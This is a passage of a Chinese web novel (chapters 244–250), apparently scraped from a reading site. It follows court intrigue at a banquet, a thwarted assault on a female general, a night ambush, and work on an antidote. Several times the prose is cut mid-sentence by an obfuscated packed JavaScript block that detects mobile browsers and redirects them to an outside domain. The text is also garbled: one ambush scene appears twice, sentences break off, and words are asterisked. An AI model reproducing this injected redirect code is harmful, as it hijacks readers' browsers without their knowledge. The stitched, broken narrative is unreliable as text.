那侍女“扑通”一声跪倒在地,浑身颤抖,脸色煞白:“奴婢该死!奴婢该死!求王妃饶命!求尤将军饶命!” “好了,都下去吧。” 一直沉默的太子发了话。 他走到尤明月面前,脸上带着一丝歉意:“尤将军,今日之事,是孤考虑不周,让你受惊了。这样吧,你先随王妃去换身衣裳,稍后,孤再向你赔罪。” 尤明月深吸了一口气,努力压下心中的怒火,朝太子微微颔首:“有劳殿下了。” 说完,她便跟着宁王妃,匆匆离席。 两人离开后,原本热闹的宴席,也变得有些冷清。 冀容白将这一切看在眼里,嘴角勾起一抹若有似无的冷笑。 茅清兮则不动声色地观察着四周。 她发现,宁王不知何时已经离开了座位,而紧接着,太子也找了个借口,悄然离席。 这两人,葫芦里到底卖的什么药? 她等了片刻,见冀容白依旧一副气定神闲的模样,终于忍不住开口问道:“你……就这么看着?不去管管?” 冀容白转过头,看着她,眼神中闪过一丝玩味:“管?管什么?她自己惹出来的麻烦,自然要她自己去解决。更何况……” 他顿了顿,语气变得有些意味深长:“不让她吃点苦头,她又怎么会知道,谁才是真正能帮她的人?” 茅清兮看着他,心头微微一震。 此刻的冀容白,眼神深邃,语气冷冽,与平日里那个温润如玉的男子,判若两人。 她仿佛又看到了那个在战场上,运筹帷幄,杀伐决断的少年将军。 然而,这股冷冽的气息,并没有持续太久。 冀容白很快就收敛了神色,他微微一笑,夹起一块精致的点心,递到茅清兮面前:“来,尝尝这个,味道还不错。” “说起来,这安王府的花园,倒是颇有几分特色。” 贤王不知何时走了过来,他看着冀容白和茅清兮,笑着说道: “不如,咱们一会儿去逛逛?” “好啊。”冀容白欣然应允。 宴席接近尾声,太子和宁王却一直没有回来。 宁王妃只得再次出面,招呼众人。 贤王便趁机提议,去园中赏花。 众人纷纷附和。 于是,宁王妃便吩咐下去,让人稍作准备,自己则领着众人,往后花园走去。 时节已是深秋,园中,各色菊花,开得正盛,放眼望去,一片锦绣,倒也颇为壮观。 贤王与冀容白走在一处,其他人也三三两两地散开,各自赏玩。 宁王妃还让人备了茶点,放在园中各处,供众人取用。 “臧夫人,可否赏光,与我一同走走?” 一个清脆的声音,在茅清兮耳边响起。 她转过头,只见石芷凝正站在不远处,笑意盈盈地看着自己。 茅清兮微微一怔。 她和石芷凝,似乎并没有什么交情。 “左小姐有事?”茅清兮问。 “没什么特别的事,只是想和夫人说说话。” 石芷凝缓步走到茅清兮身旁,与她并肩而行。 第二百四十五章 “夫人不必紧张,我并无恶意。” 她见茅清兮似乎有些戒备,便轻声解释道。 “听闻夫人与苏将军伉俪情深,着实令人羡慕。”石芷凝看着茅清兮,语气中带着一丝感慨,“我与贤王的婚事,定在了明年春天。” 茅清兮有些意外,但还是客气地说了声:“恭喜。” “多谢。”石芷凝笑了笑,“其实,我一直都很佩服苏将军,只可惜……造化弄人。” 她顿了顿,语气中带上了一丝落寞: “我知,能得苏将军另眼相待之人,定然是人中龙凤。不过…我也是女子,亦有慕艾之心。今日能见着真人,往后也算不留遗憾了。” 说罢,她又像是想起来什么,朝着茅清兮福身一礼: “还望夫人莫要同我这小女子一般见识。” 茅清兮看着她,心头有些复杂。 又一个? 冀容白这家伙,到底招惹了多少桃花债啊?“不必如此多礼。” 茅清兮开口,声音温和,却带着一丝不易察觉的疏离。 她打断了石芷凝即将出口的客套话, “你我之间,无需这般生分。” 石芷凝一怔,随即反应过来, 茅清兮这是在委婉地提醒她,两人之间的关系,还没到可以推心置腹的地步。 “是我唐突了。” 石芷凝收敛了脸上的笑意, “只是乍然见到夫人,有些……情难自已。” 她顿了顿,似乎在斟酌用词, “夫人有所不知,我仰慕苏将军已久,只是一直无缘得见。” “如今得偿所愿,还望夫人莫要怪我失态。” 这话说得真诚,倒让茅清兮有些意外了。 她原本以为,石芷凝会像那些深宅大院里的女子一样, 要么故作清高,要么阴阳怪气。 没想到,她竟然会如此坦率地承认自己对冀容白的仰慕。 “我并未怪你。” 茅清兮淡淡地笑了笑, “只是有些惊讶罢了。” “惊讶?” 石芷凝微微歪头,似乎有些不解, “夫人惊讶什么?” “惊讶于左小姐的坦诚。” 茅清兮看着她,眼神中带着一丝探究, “在这京城之中,敢于承认自己心意的女子,可不多见。” “夫人谬赞了。” 石芷凝垂下眼帘,掩饰住眼底的一丝落寞, “我并非敢于承认,只是……不想留下遗憾罢了。” “遗憾?” 茅清兮捕捉到了这个关键词, “左小姐指的是……” “我与贤王的婚事,已是板上钉钉。” 石芷凝抬起头,直视着茅清兮的眼睛, “在此之前,我想给自己一个交代,也给这段无疾而终的倾慕,画上一个句号。” 她深吸一口气,似乎下定了决心, “我知道,像苏将军那样的英雄人物,身边定然不乏倾慕者。” “我也曾幻想过,自己能成为他身边的那个人。” 她苦笑一声,摇了摇头, “但终究只是幻想罢了。” 石芷凝忽然正色, “我今日前来,并非有意冒犯夫人,更不是想破坏你们的感情。” “只是想……亲口告诉夫人,我曾经对苏将军的倾慕之情,仅此而已。” 她看着茅清兮,眼神真诚而坦然, “还望夫人,莫要误会。” 这番话,倒是让茅清兮对石芷凝的印象,又好了几分。 “左小姐多虑了。” 茅清兮笑了笑, “我不是那种小肚鸡肠的女子。” “你能如此坦诚,我反而欣赏。” “欣赏?” 石芷凝有些意外地挑了挑眉, “夫人不觉得……我这般行为,有些离经叛道吗?” “离经叛道?” 茅清兮摇了摇头, “我不觉得。” 她看着石芷凝,眼神中带着一丝赞赏, “敢于正视自己的内心,追求自己想要的东西,这并非离经叛道,而是勇气。” “勇气……” 石芷凝喃喃自语,似乎在品味这两个字的含义。 “既然如此,” 茅清兮见气氛缓和,便主动开口, “不如我们随意走走,说说话?” “好。” 石芷凝欣然应允, “能与夫人同行,是我的荣幸。” 两人并肩而行,沿着花间小径缓缓前行。 石芷凝不愧是名动京城的才女, 她见多识广,博学多才, 无论是诗词歌赋,还是风土人情,都能娓娓道来,引人入胜。 她就像一本厚重的古籍, 每一页都写满了故事, 让人忍不住想要一探究竟。 而茅清兮,也并非传言中那般不学无术。 她虽然不喜那些繁文缛节, 但并不代表她对这些一窍不通。 她只是更喜欢自由自在的生活, 不喜欢被那些规矩束缚。 她就像一匹脱缰的野马, 虽然不羁,却充满了活力。 两人看似南辕北辙, 却意外地聊得很投机。 石芷凝发现, 茅清兮虽然不像她一样精通诗词, 但对许多事情都有着自己独到的见解。 她就像一块未经雕琢的璞玉, 虽然粗糙,却散发着独特的光芒。 而茅清兮也发现, 石芷凝并非那种死读书的华儒, 她对世事人心,有着超乎常人的洞察力。 她就像一面镜子, 能够照出人性的善恶美丑。 两人一路走走停停, 不知不觉间,来到了一处僻静的角落。 几株不知名的花树,在微风中轻轻摇曳, 空气中弥漫着淡淡的清香。 不远处,隐约传来一阵低沉的谈话声。 茅清兮和石芷凝同时停下了脚步, 循声望去, 只见贤王和冀容白正站在一棵树下, 似乎在商议着什么。 冀容白背对着她们, 手中把玩着一根不知从哪里折来的树枝, 百无聊赖地在地上画着圈圈。 他身姿挺拔,即使只是一个背影, 也散发着一种难以言喻的魅力。 石芷凝的目光, 在冀容白的背影上停留了一瞬, 便迅速移开, 看向了身边的贤王。 贤王正侧耳倾听着冀容白说话, 脸上带着温和的笑容, 时不时地点头附和。 他的眼神中, 带着一丝不易察觉的……讨好? 茅清兮心中一动, 看来,这两人之间的关系, 并非像表面上看起来那么简单。 “娘子。” 冀容白像是感应到了什么, 忽然转过身来, 原本漫不经心的眼神, 在看到茅清兮的那一刻, 瞬间变得柔情似水。 他快步走过来, 亲昵地揽住茅清兮的腰, 在她耳边低声问道: “怎么跑到这里来了?” 声音低沉而富有磁性, 带着一丝宠溺的意味。 茅清兮的脸颊微微泛红, 这家伙,真是…… 她嗔怪地瞪了他一眼, “还不是因为你。” “我?” 冀容白挑了挑眉, 一脸无辜的表情, “我怎么了?” “你……” 茅清兮刚想说他招蜂引蝶, 却又硬生生地把话咽了回去。 她可不想在石芷凝面前, 表现得像个善妒的妇人。 “没什么。 第二百四十六章 ” 她别过头, 不去看他那张俊美得过分的脸。 冀容白却不肯放过她, 他低下头, 在她耳边轻声说道: “娘子,你是不是吃醋了?” 温热的气息喷洒在她的耳畔, 让她一阵心悸。 “胡说八道!” 茅清兮连忙推开他, “谁吃醋了?” “还说没有,” 冀容白笑得一脸得意, “你看你,脸都红了。” “我……” 茅清兮正要反驳, 却被一阵急促的脚步声打断。 俞霜急匆匆地跑过来, 脸色苍白, “夫人,不好了!” “出什么事了?” 茅清兮心中一紧, 连忙问道。 俞霜看了一眼冀容白, 欲言又止。 “说。” 茅清兮沉声道, “这里没有外人。” 俞霜这才开口, “奴婢刚才看到,秦姑娘她……” 她顿了顿,似乎在组织语言, “她去了宁王妃的内室。” “什么?” 茅清兮脸色一变, “她去那里做什么?” “奴婢不知。” 俞霜摇了摇头, “只是看到她进去之后,就再也没有出来。” “不好!” 茅清兮心中一沉, 她立刻意识到, 尤明月恐怕是中了别人的圈套。 她顾不上跟冀容白解释, 转身就往宁王妃的内室跑去。 俞霜紧随其后。 冀容白看着茅清兮匆匆离去的背影, 眉头紧锁, 眼中闪过一丝担忧。 他转头看向贤王, “殿下,我有些不放心,先过去看看。” 贤王点了点头, “你去吧,这里有我。” 冀容白不再多言, 身形一闪, 便消失在了夜色之中。 茅清兮一路疾行, 很快来到了宁王妃的内室外。 她深吸一口气, 推开房门, 一股浓烈的脂粉味扑面而来, 其中还夹杂着一丝异样的甜腻。 她心中一沉, 这味道…… 她屏住呼吸, 快步走进内室, 只见一个衣衫不整的女子, 正倒在地上, 人事不省。 是尤明月。 而在她身旁, 还站着一个男人, 正一脸狞笑地看着她, 眼中充满了贪婪和欲望。 是太子。 “你……” 尤明月迷迷糊糊地睁开眼睛, 看到眼前的景象, 顿时吓得魂飞魄散, “救命……救命……” 她拼命挣扎, 却使不出一丝力气。 “别叫了,没人会来救你的。” 太子冷笑着, 一步步逼近尤明月, “你就乖乖地从了我吧,哈哈哈……” “住手!” 茅清兮怒喝一声, “你敢动她一下试试!” 太子听到茅清兮的声音, 身体一僵, 缓缓转过身来, “宋……茅清兮?” 他一脸震惊, 似乎不敢相信自己的眼睛, “你怎么会在这里?” “我为什么不能在这里?” 茅清兮冷冷地看着他, “倒是你,身为太子,竟然做出如此下作之事,简直丢尽了皇家的脸面!” “你……” 太子被茅清兮骂得脸色一阵青一阵白, “你少管闲事!” “我偏要管!” 茅清兮一步步逼近太子, “我今天倒要看看,谁敢动她!” “你……” 太子被茅清兮的气势所慑, 竟不由自主地后退了几步。 “俞霜,把她带走。” 茅清兮不再理会太子, 对俞霜吩咐道。 “是。” 俞霜连忙上前, 扶起昏迷不醒的尤明月, 快步离开了房间。 茅清兮看着尤明月离去的背影, 心中五味杂陈。 她原本以为, 尤明月只是个被宠坏了的娇小姐, 没想到,她竟然会如此愚蠢, 被人算计至此。 “茅清兮,你给我等着!” 太子见尤明月被带走, 气急败坏地指着茅清兮, “我不会放过你的!” “随时奉陪。” 茅清兮冷冷一笑, 转身离开了房间。 她走出宁王妃的内室, 一阵冷风吹来, 让她清醒了几分。 她抬头望向夜空, 只见一轮明月高悬, 清冷的光辉洒向大地。 今晚的事情, 注定不会平静。“殿下,您这是……”宁王妃眼见宁王脸色铁青地走了出来,目光下意识落在他身后,却空无一人。 一种不祥的预感涌上心头,宁王妃的脸色也瞬间沉了下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16352543|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 今日府上宾客众多,她本想维持场面,暂且不提这茬。 可宁王显然压不住火气,他猛地一拍桌沿,咬牙切齿地问:“那个**在哪?” 声音不大,却足以让周围的人听得一清二楚。 宁王妃心头一跳,连忙稳住心神,勉强扯出一丝笑意:“您是说尤将军?她不是……身子不适,在屋里歇着?” “歇着?”宁王冷笑一声,额角的青筋突突直跳,“刚踏入房门就被偷袭昏迷!” 他的声音陡然拔高,带着压抑不住的怒火,后脑勺一阵阵抽痛,提醒着他刚才发生了什么。 “去查!”宁王猛地一挥袖,桌上的茶盏被扫落在地,摔得粉碎,“给本王查清楚,究竟是何人所为!” 宁王妃被这突如其来的变故吓了一跳,她连忙定了定神,强压下心头的慌乱,吩咐身边的嬷嬷: “快,快去查!” 嬷嬷领命而去,没过多久,便一脸惊慌地回来禀报: “王妃,不好了,尤将军不见了踪影,连太子殿下也……也不知去向了。” “太子?”宁王先是一怔,像是没反应过来,随即,一股巨大的怒火如火山般喷涌而出。 他猛地站起身,身下的椅子被带翻在地,发出沉闷的声响。 “是他!准是那个小兔崽子!”宁王目眦欲裂,声音嘶哑得像是从喉咙里挤出来的一般。 他早该想到! 之前太子借口更衣,与他们一同离席,他就觉得不对劲。 可恨他一时大意,竟没防备着! 除了太子,还有谁敢在他的王府里动手? 又是谁,能如此精准地找到尤明月,并且神不知鬼不觉地将人带走? 他精心策划的这一场好戏,竟被太子半路截胡! 宁王只觉得胸口憋闷得厉害,一口气堵在那里,上不去也下不来。 他原本打算借着尤明月,一举拿下北境的兵权。 如今倒好,全便宜了太子! 更让他恼火的是,自己竟然还被打晕了! 这简直是奇耻大辱! 他堂堂宁王,竟然在自己的府邸里,被人暗算了! “可恨!”宁王一拳砸在桌案上,上好的紫檀木桌面,竟被他硬生生砸出了一道裂痕。 另一边。 太子钱云霄在一阵剧痛中醒来,他茫然四顾,发现自己正躺在太子府的卧房里,床边站着的是他的贴身侍卫孔谋。 “这是……怎么回事?”钱云霄揉着隐隐作痛的太阳穴,艰难地开口。 “殿下,您终于醒了!”孔谋见状,连忙上前,将他扶了起来。 “我这是……在哪儿?”钱云霄环顾四周,只觉得头痛欲裂,记忆也有些模糊。 孔谋连忙将事情的来龙去脉,详细地向他禀报了一遍。 第二百四十七章 原来,孔谋等人见钱云霄迟迟没有回来,便觉得有些蹊跷。 他们担心出事,便去寻他。 谁知,却发现他昏倒在安王府的一间偏房里。 为了避免节外生枝,他们便悄悄将钱云霄抬回了太子府。 听完孔谋的叙述,钱云霄的脸色瞬间阴沉下来,像是暴风雨来临前的天空。 他努力回想着昏迷前发生的事情。 他记得,尤明月跌跌撞撞地从屋里出来,显然宁王没有得手。 他见状,便上前假意关怀,博取了她的信任,然后将她带离了安王府。 他原本的计划,与宁王如出一辙。 都是想借着这个机会,控制住尤明月,进而掌控她背后的墨家军。 眼下宁王失手,尤明月落入他手中,正是天赐良机。 可谁知,他刚将神志不清的尤明月扶进房间,后脑勺就挨了一记闷棍,然后便什么都不知道了。 “会是谁?”钱云霄捂着脑袋,只觉得一阵阵抽痛。 他第一个怀疑的对象,就是宁王。 毕竟,在安王府里,除了宁王,没人有这个动机。 可孔谋却有不同的看法。 “殿下,属下以为,此事或许与冀容白有关。” “冀容白?”钱云霄闻言,眉头紧锁,眼神中闪过一丝阴鸷。 “没错。”孔谋点了点头,继续说道,“属下当时就觉得奇怪,殿下您和尤将军前脚刚走,冀容白和茅清兮后脚就离开了安王府。” 钱云霄沉默不语,似乎在思考着什么。 片刻之后,他咬牙切齿地说:“不管是宁王,还是冀容白,孤都不会放过他们!” 他的声音低沉而嘶哑,带着刻骨的仇恨。 …… 夜幕降临,华灯初上。 安王府的喧嚣渐渐散去,宾客们陆续离席。 茅清兮早已安排俞霜将尤明月送走,而她和冀容白则坐上了回程的马车。 两人并未直接回府,而是绕着京城转了一圈。 冀容白难得有这样的闲情逸致,他提出要带茅清兮去逛逛京城最有名的成衣铺子。 茅清兮欣然应允。 马车缓缓驶入最繁华的街道,两侧的店铺灯火通明,将整条街道照得如同白昼。 冀容白挑了一家名为“华锦坊”的铺子,据说这家铺子的衣裳,京城里的贵女们都趋之若鹜。 刚一进门,伙计便热情地迎了上来。 他一眼便看出两人身份不凡,尤其是冀容白,虽然穿着一身素色的衣袍,却难掩一身贵气。 “二位客官,看看我们家新到的料子,这可是江南刚进贡的云锦,轻薄如纱,穿在身上就跟没穿一样!” 伙计一边说着,一边将几匹颜色各异的云锦展开,展示给他们看。 茅清兮对这些并不感兴趣,她只是随意地扫了一眼,便将目光投向了别处。 冀容白却来了兴致,他指着一匹月白色的云锦,对伙计说:“这匹料子不错,给你们家主子做身衣裳,定然好看。” 伙计闻言,眼睛一亮,连忙说道:“客官好眼光!这匹云锦可是我们店里的镇店之宝,整个京城都找不出第二匹来!” 茅清兮听了,忍不住笑了出来。 她知道冀容白这是在变着法儿地给她买东西。 “把你们店里最好的料子都拿出来,每样都包上一匹。”冀容白淡淡地吩咐道。 “好嘞!”伙计喜出望外,连忙招呼其他伙计,将店里最好的料子都搬了出来。 茅清兮看着堆积如山的布料,忍不住摇了摇头。 “你呀,真是……”她嗔怪地看了冀容白一眼,却也没有阻止他。 她知道,冀容白这是在表达他对她的心意。 离开华锦坊后,他们又去了几家首饰铺子。 冀容白出手阔绰,凡是茅清兮多看两眼的东西,他都毫不犹豫地买了下来。 茅清兮看着琳琅满目的首饰,心中涌起一股暖流。 她知道,这些东西对冀容白来说,或许不算什么。 但对她来说,却是冀容白满满的爱意。 两人在外面用了晚膳,才回了府。 冀容白不能吃荤腥,只能点了几道清淡的素菜。 他看着茅清兮吃得津津有味,自己却只能在一旁干看着。 晚风****,吹动着窗外的树叶,发出沙沙的声响。 “清兮,”冀容白忽然开口,打破了两人之间的沉默,“你以后,有什么打算?” 茅清兮闻言,微微一怔。 她放下手中的筷子,认真地想了想,才说:“我也不知道,眼下要忙的事情太多了,以后的事,以后再说吧。” 她的语气中,带着一丝迷茫,也带 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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两人静静地依偎在一起,感受着彼此的温度,享受着这难得的宁静。 第二百四十八章 突然,一阵急促的马蹄声,打破了夜的寂静。 “吁——” 马车猛地停了下来,发出刺耳的摩擦声。 “怎么回事?”茅清兮皱眉,从冀容白怀里抬起头。 冀容白也有些疑惑,他正要开口询问,却被茅清兮一把推开。 “小心!” 茅清兮低喝一声,同时,一道寒光闪过! 三寒霜出鞘,精准地挡下了一支射向马车的羽箭! “叮——” 一声脆响,火花四溅! 羽箭被弹开,钉在了马车旁的柱子上,箭尾兀自颤动不已。 茅清兮将冀容白护在身后,冷冷地扫视着四周。 “保护主子!”富峻的声音,从外面传来。 他带着几个侍卫,迅速将马车围了起来。 “你不能动武,躲在马车里,别出来。”茅清兮头也不回地对冀容白说道。 她的声音很冷静,也很果断。 冀容白看着她的背影,心中涌起一股暖流,又有一丝担忧。 “清兮……” “放心,我没事。”茅清兮打断了他,然后,毫不犹豫地跳下了马车。夜色如泼墨,山道崎岖。 马车疾驰,却突然一个急停,猛烈的惯性让车内的人影剧烈摇晃。 “怎么回事?” 茅清兮的声音,带着一丝被惊扰的不悦。 话音未落,破空声起! 一支羽箭,撕裂夜的宁静,直指马车。 “小心!” 低喝声中,茅清兮的身影已如鬼魅般闪至冀容白身前。 呛啷—— 三寒霜出鞘,寒光乍现,精准地将羽箭格飞。 四溅的火星,映亮了她冷冽的眼眸。 “保护主子!” 富峻的声音几乎同时响起,他带着几名侍卫,迅速将马车护在中央。 “你不能动武,躲好。” 茅清兮头也不回,对身后的冀容白说道,语气是不容置疑的冷静。 冀容白看着她挺拔的背影,心头涌上一股暖流,却又被担忧紧紧攥住。 “清兮……”他张了张口。 “无妨。” 茅清兮截断了他的话,没有丝毫犹豫,跃下马车。 月光如霜,二十多个黑衣人无声围拢,兵刃闪着寒光,杀气在夜色中弥漫。 富峻反应极快,一个手势,阴影里窜出十几个黑衣保镖,与黑衣人瞬间战成一团。 “别管我,杀出去!” 茅清兮推开试图保护她的富峻,声音冷冽, “主子交给我。” 富峻一怔,随即咬牙应道:“是!” 他带着暗卫,奋力向外突围。 黑衣人训练有素,兵分两路,一路缠住富峻等人,一路直扑马车。 茅清兮手腕轻抖,三寒霜发出一声清吟,寒芒暴涨。 她一人当关,万夫莫开。 剑光如雪,身形如电,在黑衣人中穿梭,剑锋所过之处,血花飞溅。 黑衣人一批批倒下,却无一人能靠近马车半步。 久攻不下,两名黑衣人改变策略,绕至马车后方,试图从背后偷袭。 茅清兮眼角的余光捕捉到这一变化,足尖轻点,身形如鬼魅般出现在马车车顶。 她居高临下,目光冷冽如刀。 这气势让黑衣人胆寒,但他们没有退路。 其中一人咬牙,从腰间摸出一枚**,掷在地上。 浓烟瞬间弥漫,遮蔽了视线。 “雕虫小技。” 茅清兮冷哼一声,三寒霜在烟雾中划出一道诡异的弧线。 “啊!” 两声惨叫,烟雾中,两道身影倒下。 三寒霜饮血,剑身嗡鸣。 茅清兮身形闪动,在烟雾中如入无人之境。 剑光闪过,便有一条生命逝去。 片刻后,烟雾散去,黑衣人已尽数倒在血泊中。 冀容白的暗卫也折损了几人。 富峻奔至马车前,声音焦急:“夫人,您可有受伤?” “无事。” 茅清兮摇头,立于车顶,俯瞰四周。 富峻不敢多言,只得在一旁戒备。 茅清兮凝神静听。 夜,静得可怕。 突然,一丝极轻微的异响,划破了这死寂。 茅清兮耳骨微动,三寒霜骤然横扫! “叮!叮!叮!” 三支利箭,被剑锋精准击落,火星四溅。 “守护老板和女主人!” 富峻厉声高呼。 暗卫们迅速收拢,将马车围得水泄不通。 茅清兮却已循着箭矢射来的方向,飞身追去。 “守好主子,别跟来。” 声音飘散在夜风中,人已消失不见。 车帘掀动,冀容白探身而出,望着茅清兮消失的方向,目光深邃。 “主子,夫人她……” 富峻急切地开口。 “她自有分寸。”冀容白缓缓摇头,“等她回来。” 富峻只得按捺下担忧,守在马车旁。 “查清这些人的来历。”冀容白吩咐。 “是。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我追丢了那个人。” “无妨。”冀容白并不意外,“意料之中。 第二百四十九章 ” “他进了洛国公府。”茅清兮补充道,“去了……冀大夫人那里。” 冀容白的手指,微微一僵,但很快恢复如常。 他没有说话,只是将她搂得更紧。 茅清兮也没有再追问。 有些事,不必说破。 马车缓缓驶入秦府。 俞霜迎了上来,告知尤明月已等候多时。 茅清兮略一颔首,径直去了尤明月的院子。 出乎意料,尤明月见到她,第一句话竟是: “玉露草,给你。” 她神色平静,似乎早已料到会有这一天。“玉露草,给你。” 尤明月的声音很轻,很淡,仿佛只是在说一件微不足道的小事。 茅清兮走进屋,视线在尤明月身上停留片刻。 她肉眼可见地憔悴,脸色苍白得像一张纸,大概刚从安王府那个泥潭里挣扎出来,简单洗漱更衣后,就一直把自己关在这儿,与世隔绝。 茅清兮开门见山,直奔主题: “玉露草呢?” 尤明月抬起眼眸,深深地看了茅清兮一眼,才缓缓地从袖中取出一个紫檀木盒。 俞霜立刻上前接过,转手递给茅清兮。 茅清兮打开盒子,目光一扫,便合上了盖子。 是玉露草,没错。 她转身就走,毫不拖泥带水。 “茅清兮,” 身后传来尤明月的声音,带着几分不甘,几分挣扎, “如果……我没有给你玉露草,你会怎么做?” 茅清兮脚步未停,甚至没有回头。 “没有如果,”她的声音冷冷的,却透着一股不容置疑的坚定,“它现在就在我手里。” “可若不是出了这事,我根本不会给你。” 尤明月的声音里,透着一股子不撞南墙不回头的倔强。 “冀容白他……没多少日子了,你打算怎么办?” 尤明月紧盯着茅清兮的背影,不甘心地追问。 她知道冀容白时日无多,这才破釜沉舟,想用玉露草赌一个未来。 要么,赌冀容白为了活命,娶她为妻;要么,赌茅清兮为了冀容白的性命,忍痛割爱。 可她怎么也没想到,这两个人,竟然都不按常理出牌,完全不受她的摆布。 更让她惊恐的是,自己竟然险些成了朝廷那些肮脏交易的牺牲品。 若非茅清兮及时出手,她真不知道自己会落得怎样的下场。 她是云陲长大的女子,见惯了草原的广阔,雄鹰的翱翔。她以为,人心就算再复杂,也总该有几分坦荡。 可这京城的权谋争斗,却让她见识到了人性的丑陋与阴暗。 为了达到目的,竟不惜牺牲一个女子的清白! 如果她真的被宁王或太子玷污,那她这辈子,就只能被困在这高墙深院之中,成为一个见不得光的玩物,再也回不去那片自由的土地。 内院女子的手段,也让她感到不寒而栗。 宁王妃,那个看起来温婉柔顺的女人,竟然在暗中对她下药。 她是真的怕了。 “你怎么会有这种想法?” 茅清兮终于回过头,嘴角勾起一抹若有似无的笑。 这是她进屋后,第一次露出这样的表情。 但笑意,却未达眼底。 “你既然已经踏进了我镇国公府,就该明白,这玉露草,你交也得交,不交……也得交。” 她的语气很平静,却带着一种不容抗拒的威压。 尤明月试图辩解: “可我是奉了圣上的旨意……” “圣旨?” 茅清兮冷笑一声,打断了她的话, “你以为,进了这镇国公府,一道圣旨,还能保得住你?” 她一步步逼近尤明月,眼神锐利如刀, “宁王妃那点小把戏,就让你吓破了胆?” 茅清兮轻蔑地一笑, “看来,你还没见识过,什么叫真正的手段。” “想从你手里拿到玉露草?呵,”她顿了顿,语气中带着一丝玩味,“我有的是法子,让你心甘情愿地双手奉上。” 她漫不经心地把玩着手中的盒子,眼神冰冷,语气更是冷得像寒冬腊月的风。 “之所以用现在这个法子,不过是因为……它最简单,也最干净。” 说完,她不再看尤明月一眼,转身离开。 尤明月怔怔地站在原地,脸色煞白,浑身止不住地颤抖,冷汗瞬间湿透了衣衫。 …… 茅清兮从尤明月那里出来,就直奔药房,找紫姨去了。 当务之急,是把寒星露的解药给制出来。 解药方子是现成的,她和紫姨联手,足够了。 药房里,茅清兮全神贯注,紫姨也打起了十二分精神,两人配合默契。 另一边,冀容白从富峻那里知道了茅清兮的动向,心里那块悬着的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16369746|179210||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 石头,总算落了地。 富峻激动得眼泪都快下来了: “主子,夫人说解药很快就能出来了,您的身体……真的能好了!” 冀容白也笑了,这么多年了,他第一次,对未来有了如此强烈的期盼。 这两年,他中了寒星露的毒,身体每况愈下,却并非没有解毒的机会。 有一次,解药都已经制好了,却在最后关头,被人给夺走了。 他知道是谁做的,却没去追究。 他想看看,那个人,究竟能狠心到什么地步。 所以,他眼睁睁地看着自己的身体一日不如一日,看着京城里那些人明里暗里地议论他命不久矣。 他不在乎,甚至觉得,看着那些跳梁小丑在他面前表演,也是一种乐趣。 可是现在,一切都不一样了。 他有了牵挂,有了在乎的人,而那个人,也在为了他,不顾一切地努力着。 想到这里,冀容白竟有些坐立不安: “夫人那边一有消息,马上告诉我。” “是,主子。”富峻连忙应道。 冀容白回到房里,想看书静心,却一个字也看不进去。 他换了一本又一本,兵书、游记、话本…… 可无论看什么,都无法让他平静下来。 他清楚,此刻最好的做法,就是不去打扰茅清兮。 可他就是忍不住,满脑子都是她的身影。 富峻在一旁看得真切,自家主子自从**后,就变得懒散,能躺着绝不坐着。 可现在,竟然在屋子里转起了圈。 “主子,您要不……歇会儿?” 富峻实在看不下去了, “您这样转,属下头晕。” 冀容白瞥了他一眼,没说话,只是放慢了脚步。 一直等到快到子时,还不见茅清兮从药房出来。 冀容白终于忍不住了,起身朝药房走去。 药房里,灯火通明。 茅清兮和紫姨两人,正聚精会神地盯着药炉,不敢有丝毫分心。 冀容白推门进来,紫姨连忙起身行礼。 茅清兮有些惊讶: “你怎么过来了?” “我不放心,过来看看。” 冀容白走到茅清兮身边,轻声说道。 “你先回去歇着,” 茅清兮的视线始终没有离开药炉, “等药制好了,我亲自给你送去。 第二百五十章 ” 冀容白没接话,只是问: “现在到哪一步了?” “三味主药和其他辅药,都得先提炼,才能用,” 紫姨解释说, “等药汁提炼好了,再按方子上的比例配好,熬制就行。” “大概还要多久?”冀容白又问。 “顺利的话,明晚应该差不多。”紫姨估摸着。 冀容白点点头,依旧没有要离开的意思。 紫姨是过来人,哪能不明白他的心思。 她眼珠一转,计上心来,故意说道: “哎呀,这时辰也不早了,小姐,您和将军奔波了一天,肯定累坏了,不如先回去歇着,这里有我盯着就好。” 茅清兮摇了摇头,语气坚定: “不行,我得留下来,万一有什么事,我也能搭把手。” “哎呀,小姐,您就放心吧,这儿有我呢,出不了岔子。” 紫姨一边说,一边朝冀容白使了个眼色, “您看将军,这大晚上的,还特意跑过来,肯定也是担心您。您要是不回去,将军哪能安心啊?” 她故意顿了顿,又补充道: “再说,您要是不放心,明早再让绿绿和绮巧过来帮忙,也是一样的。” 